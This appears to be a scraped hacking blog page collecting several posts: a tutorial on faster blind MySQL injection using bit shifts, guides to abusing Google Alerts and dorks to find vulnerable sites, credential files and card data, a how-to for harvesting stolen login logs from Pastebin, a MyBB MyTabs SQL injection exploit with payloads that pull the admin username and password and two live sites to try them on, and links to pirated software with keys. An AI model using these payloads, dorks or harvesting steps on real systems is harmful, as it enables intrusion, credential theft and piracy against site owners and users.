Faster blind MySQL injection using bit shifting

Posted by Unknown Kamis, 20 Oktober 2011 0 komentar



While strolling through mysql.com I came across this page.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:


mysql> select ascii(b'00000010');
+--------------------+
| ascii(b'00000010') |
+--------------------+
| 2 |
+--------------------+
1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b'00000010') >> 1;
+-------------------------+
| ascii(b'00000010') >> 1 |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.

00000010 = 2
00000010 >> 1 = 00000001
^ ^
added shifted
0

So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.

Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it's decimal value as you have seen before:

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)

This will give a nice int which can be used as binary.

a = 01100001

If we would left shift this character 7 locations to the right you would get:

00000000 << first 7 0's in blue; last 0 in red

The first 7 bits are being added by the shift, the last character remains which is 0.

mysql> select ascii('a') >> 7;
+-----------------+
| ascii('a') >> 7 |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)

a = 01100001

01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

mysql> select (ascii('a') >> 7)=0;
+---------------------+
| (ascii('a') >> 7)=0 |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.
Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

mysql> select (ascii('a') >> 6)=0;
+---------------------+
| (ascii('a') >> 6)=0 |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)

This time it's not true so we know the first 2 bits of our character is "01".
If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

mysql> select (ascii('a') >> 5)=2;
+---------------------+
| (ascii('a') >> 5)=2 |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)

It is not true that it is 2 so now we can conclude it is "011".
The next possible options are:
0110 = 6
0111 = 7

mysql> select (ascii('a') >> 4)=6;
+---------------------+
| (ascii('a') >> 4)=6 |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

We got "0110" now and looking at the table for a above here you can see this actually is true.
Let's try this on a string we actually don't know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

We now know that the first bit is set to 0.
0???????

The next possible options are 0 and 1 again so we compare it with 0.

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

Now we know the second bit is set to 1.
01??????

Possible next options are:
010 = 2
011 = 3

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

Third bit is set to 1.
011?????

Next options:
0110 = 6
0111 = 7

mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

This bit is also set.
0111????

Next options:
01110 = 14
01111 = 15

mysql> select (ascii((substr(user(),1,1))) >> 3)=14;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 3)=14 |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

01110???

Options:
011100 = 28
011101 = 29

mysql> select (ascii((substr(user(),1,1))) >> 2)=28;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 2)=28 |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

011100??

Options:
0111000 = 56
0111001 = 57

mysql> select (ascii((substr(user(),1,1))) >> 1)=56;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 1)=56 |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (0.00 sec)

0111001?
Options:
01110010 = 114
01110011 = 115

mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

Alright, so the binary representation of the character is:
01110010

Converting it back gives us:

mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r |
+-------------+
1 row in set (0.00 sec)

So the first character of user() is "r".

With this technique we can assure that we have the character in 8 requests.

Further optimizing this technique can be done.
The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.

Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.

good Luck :)

Baca Selengkapnya ....

Google Dorks 2.0

Posted by Unknown 0 komentar



Google and all of it's services must be the most advanced and handy SaaS-solution(s) ever created.
Google is also known to be the "hackers best friend".
...so why bother to run automated "Google-Dork Scanners" manually, when Google just as well could do the job for you?

After some tinkering, and exploring of the wide range of services Google provides; I came up with something interesting.

So folks, behold.
The Skynet is born.

Here's how it works:

1. Login to your Google-account (or provide an e-mail address).
2. Go to http://www.google.com/alerts.
3. Enter the malicious dork, among other settings.
4. If you got more dorks, go back to to #2.


Simple, clean and easy.
Just (ab)use Google Alerts for your own evil deeds!
(The current trend is cloud-based solutions, so why fight against it?)


Whenever Google finds something matching your dork - you will receive an e-mail notification, telling you what sites it found as well as what it matched on.

The variety of malicious content Google may provide, could range from anything of the following:

* Public Advisories and Vulnerabilities (and well, 0-days if you have any).
* Server-Side Error Messages.
* Files containing logon credentials for various services. (Usernames, Passwords...)
* Footholds. (e.g; Administrative pages)
* Login portals.
* Network and/or Vulnerability logs.
* Online Shopping Information (Customer Data, Suppliers, Credit Cards...)
* Various Online Services (Printers, Surveillance cameras, Routers, SIP-switches...)
* Vulnerable Files & Servers
* Web-Server / OS Fingerprints

With other words, you'll never have to manually scan/query/search again.
Just configure your "Google Alerts"-page, and see the information-flow building up in your e-mails inbox.

What's even more cozy, is the user-friendly feature of allowing your GMAIL to act as a RSS-feed:

https://USERNAME:PASSWORD@gmail.google.com/gmail/feed/atom


...a perfect way to parse the data!

Heres some resources containing various Google dorks (which only may be used for educational purposes!):

* http://www.hackersforcharity.org/ghdb/
* http://www.exploit-db.com/google-dorks/
* http://www.googlebig.com/forum/google-dorks-f-4.html

Now, I'm not saying you should use this technique.
But it could become a serious threat - due to the ease of executing the process.

I hope I've enlightened you a bit! :)


Baca Selengkapnya ....

Avira Antivirus Premium 2012 12.0.0.871 Final Incl Keys

Posted by Unknown Selasa, 18 Oktober 2011 0 komentar
Avira Antivirus Premium 2012 12.0.0.871 Final Incl Keys | 86.85 MB

The Avira AntiVir Premium application was designed to be a comprehensive and flexible tool you can rely on to protect your computer from viruses, malware, unwanted programs, and other dangers.
In a user-defined installation or a modification installation, the following installation modules can be selected,
added
or removed.

AntiVir Premium
This module contains all components required for successful installation of Avira AntiVir Premium.

AntiVir Guard
The AntiVir Guard runs in the background. It monitors and repairs, where necessary, files during operations such as open, write and copy in on-access mode. Whenever a user carries out a file operation (e.g. load document, execute, copy), Avira AntiVir Premium automatically scans
the file
. Renaming a file does not trigger a scan by AntiVir Guard.

AntiVir MailGuard
MailGuard is the interface between your computer and the email server from which your email program (mail client) downloads the emails. MailGuard is connected as a so-called proxy between the
email program
and the
email server
. All incoming emails are routed through this proxy, scanned for viruses and unwanted programs and forwarded to your email program. Depending on the configuration, the program processes the affected emails automatically or asks the user for a certain action.

AntiVir WebGuard
When surfing the internet, you are using your web browser to request data from a web server. The data transferred from the web server (HTML files, script and image files, Flash files, video and music streams, etc) will normally be moved directly into the browser cache for display in the web browser, meaning that an on-access scan as performed by AntiVir Guard is not possible. This could allow viruses and unwanted programs to access your
computer system
. WebGuard is what is known as an HTTP proxy which monitors the ports used for data transfer (80, 8080, 3128) and scans the transferred data for viruses and unwanted programs. Depending on the configuration, the program may process the affected files automatically or prompt the user for a specific action.

Rootkit Detection
The Rootkit Detection checks whether
software
is already installed on your computer that can no longer be detected with conventional methods of malware protection after penetrating the computer system.

Shell Extension
The Avira AntiVir Premium Shell Extension generates an entry Scan selected files with AntiVir in the context menu of the Windows Explorer (right-hand mouse button). With this entry you can directly scan files or directories.

Here are some key features of "Avira Antivirus Premium 2012":
· AntiVir stops all types of viruses
· AntiAd/Spyware eliminates ad/spyware
· AntiPhishing proactive protection against phising
· AntiRootkit against hidden rootkit threats
· AntiDrive-by prevents against downloading viruses when surfing
· EmailScanner enhanced email protection
· WebGuard protection against malicious websites
· RescueSystem create a bootable rescue CD
· QuickRemoval eliminate viruses at the push of a button
· NetbookSupport for laptops with low resolution

Requirements:
· At least 100 MB of free hard disk memory space (more if using Quarantine for temporary storage)
· At least 192 MB RAM under Windows 2000/XP
· At least 512 MB RAM under Windows Vista
· For all installations:
Windows Internet Explorer
6.0 or higher
· Administrator rights are required for the installation

What's New in This Release:
New Gui:
· Avira AntiVir, version 10 will be released with a new graphical user interface that features a completely new set of icons as well as a new 3D navigation bar and a continuous background picture.

· The new user interface keeps the proven elements of the old interface and the customer does not need to get into a new interface. However, the new icon set and the other new elements make it much easier for the customer to find his way around the program.

Avira AntiVir ProActiv :
· Avira AntiVir, version 10 is now equipped with a brand new host-based intrusion prevention system called Avira AntiVir ProActiv. AntiVir ProActiv constantly monitors the behaviour of the system in real-time and looks for unusual events.

· An integrated rule-system is able to decide proactively if a certain event (or a combination of events) indicates that the system is currently under attack from a new or unknown malware.

Code:
http://www.wupload.com/file/415063943/avira.antivirus.premium.12.0.0.871.rar

Code:
http://www.filesonic.com/file/2569961851/avira.antivirus.premium.12.0.0.871.rar

Baca Selengkapnya ....

More Google Dork

Posted by Unknown 0 komentar



Google A Hackers Best Friend


Here Are Some Codes People Will Find Useful

Dorks:

inurl:"view.asp?page=" intext:"plymouth"

Ok what this code does ? So this is the university schools you can hack with this dork university schools.
--------------------------------------------------------------------


inurl:"shoutbox.php" intext:"script"

with this code you can hack shoutbox or to find scripts

--------------------------------------------------------------------

inurl:"index.php?act=idx"

This code will find ipb forums quickly to hack

--------------------------------------------------------------------
inurl:"Photoshop.aspx" "tutorials"

This code will find photoshop tutorials
--------------------------------------------------------------------
intext:"Warning: mysql_fetch_array()"

With this code you will find any vulnarable sites and hack them.

--------------------------------------------------------------------
"powered by vbulletin" + "account dumps"

With this code you will be able find passwords for any sites,forums not for porn.
--------------------------------------------------------------------

site:youtube.com *@gmail.com

This will find any youtube or any site emails.


--------------------------------------------------------------------
"sql google scanner" + "php"

Google sql injection online hack vulnerable sites,forums and find vulnerables sites very easy.

--------------------------------------------------------------------
allinurl:smiliehelp.php
allinurl:"guestbook/smileys.php"
inurl:"smileys.php" + "talking"


Talking smilies.
--------------------------------------------------------------------Good Luck . . . :D

Baca Selengkapnya ....

How To Get Logins off Google and Pastebin

Posted by Unknown 0 komentar



Many people copy pastes theyre logs to sort em or shit like that, and when theyre doing that on the site saves the lists.
So this is a way to harvest logs of the internet.

Finding logs on pastebin.
1. Go to http://www.pastebin.com or another site like that.
2. Search for " Program: Url/Host: Login: Password: Computer: Date: Ip: "
3. Profit.

Finding logs on google.
1. Go to http://www.google.com
2. Search for " Program: Url/Host: Login: Password: Computer: Date: Ip: "
3. Profit.

You could also try search fo

Application: Url: Username: Password: Entry/Port:

Instead of
Program: Url/Host: Login: Password: Computer: Date: Ip:

Baca Selengkapnya ....

MyBB 0day \ MyTabs (plugin) SQL injection vulnerability

Posted by Unknown 0 komentar



================================================== ===================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
================================================== ===================

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home :
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid :D !

Vulnerability :

$~ http://localhost/myb.../index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)-- -



You can try on this site

http://secworm.net/forums/index.php?tab=1'
http://icanhazcookie.net/index.php?tab=1'

Baca Selengkapnya ....

Microsoft Windows Xp Seven Ultimate Royale SP3 2010

Posted by Unknown 0 komentar

Microsoft Windows Xp Seven Ultimate Royale SP3 2010
MSDN - IE8 - WMP 8 - SkyDriver v9.9 - Hotfix - OEM logo -MOD Theme - SATA/RAID/SCSI
File size: 630.00 MB


# Operating System: Windows XP Sevice Pack 3 x86 (32 bit).
# Support SATA: Yes.
# Support RAID: Yes.
# SCSI support: Yes.
# Auto drivers get: Yes - SkyDriver v9.9.
# Internet Explorer 8: Yes
# Windows Media Player 11: Yes
# Hotfixes: Yes (updated to April 2010)
# Update online: Yes.
# CD Key: Already available add.
# File Photo: File ISO standard.
# File download: WinRAR.




Baca Selengkapnya ....
Trik SEO Terbaru support Online Shop Baju Wanita - Original design by Bamz | Copyright of android jones.